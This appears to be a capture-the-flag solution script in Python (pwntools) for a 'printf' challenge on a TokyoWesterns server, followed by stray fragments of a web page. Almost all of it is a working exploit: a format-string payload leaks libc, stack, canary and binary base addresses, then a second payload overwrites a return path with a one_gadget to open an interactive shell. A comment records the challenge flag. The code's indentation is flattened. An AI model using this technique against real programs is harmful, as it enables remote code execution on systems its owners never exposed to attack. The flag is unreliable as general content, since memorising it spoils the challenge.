elf = ELF("./printf",checksec=False)
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
if DEBUG == 1:
if context.arch == "i386":
libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
elif context.arch == "amd64":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
s = process("./printf")
elif DEBUG == 2:
if context.arch == "i386":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
elif context.arch == "amd64":
#libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
#os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
#os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
libc = ELF("./libc.so.6")
#os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
#os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
s = process("./printf")
elif DEBUG == 3:
libc = ELF("./libc.so.6",checksec=False)
ip = "printf.chal.ctf.westerns.tokyo"
port = 10001
s = remote(ip,port)
def clean():
s.close()
if DEBUG == 2:
if context.arch == "i386":
os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
if context.arch == "amd64":
os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")
def pwn():
#zx(0x130B)
#pause()
pl = "%lx "*((0x100-4)/4)#64
s.sla("What's your name?", pl)
s.ru("Hi, n")
leak = s.ru("Do").split(" ")
libc.address = int(leak[2],16) - 0x10d024
stack = int(leak[39],16)
canary = int(leak[40],16)
proc_base = int(leak[41],16) - 0x2a40
one_gadget = libc.address + 0xe2383
info("libc.address 0x%x", libc.address)
info("stack 0x%x", stack)
info("canary 0x%x", canary)
info("proc_base 0x%x", proc_base)
info("one_gadget 0x%x", one_gadget)
atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
info("atexit_stack_diff 0x%x", atexit_stack_diff)
pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
s.irt()
#clean()
# TWCTF{Pudding_Pudding_Pudding_purintoehu}
if __name__ == "__main__":
pwn()
WIN~ | 社区文章 |
Subsets and Splits